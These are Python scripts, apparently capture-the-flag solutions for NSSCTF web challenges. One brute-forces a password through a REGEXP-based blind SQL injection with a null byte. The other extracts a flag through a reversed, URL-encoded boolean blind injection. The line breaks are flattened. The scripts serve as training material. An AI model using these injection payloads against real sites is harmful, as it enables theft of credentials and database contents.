import requests import string from urllib import parse
url="http://node4.anna.nssctf.cn:28680/" s=string.digits+string.ascii_lowercase+"_" passwd='' for i in range(100): for j in s: temp={"username":"\\","passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+j),parse.unquote('%00'))} #parse.unquote()用于将URL编码的字符串%00解码为普通的字符 res=requests.post(url,data=temp) #print(res.text) if "welcome" in res.text: passwd+=j print(passwd) break if j=='_' and 'welcome' not in res.text: break print(passwd)
url="http://node2.anna.nssctf.cn:28237/?user=&password=" global l str1=''
for i in range(1,100): s="hardtoguess')+and+(length((select+UUCTF+frroom+UUCTF.flag))={})#".format(i) s=s[::-1] s=quote(s,safe='\'+)_') headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0"} r1=requests.get(headers=headers,url=url+s) #print(s) if "false" not in r1.text: l=i print(str(i)) break for i in range(1,l+1): for j in range(31,128): s="hardtoguess')+and+(ascii(substr((select+UUCTF+frroom+UUCTF.flag),{},1))={})#".format(i,j) s=s[::-1] s=quote(s,safe='\'+)') #新学到的知识点,quote方法进行url编码,safe后面的内容不编码。 headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0"} r1=requests.get(headers=headers,url=url+s) #print(r1.text) if "false" not in r1.text: #print(chr(j)) str1+=chr(j) print(str1) if l==len(str1): print(str1) break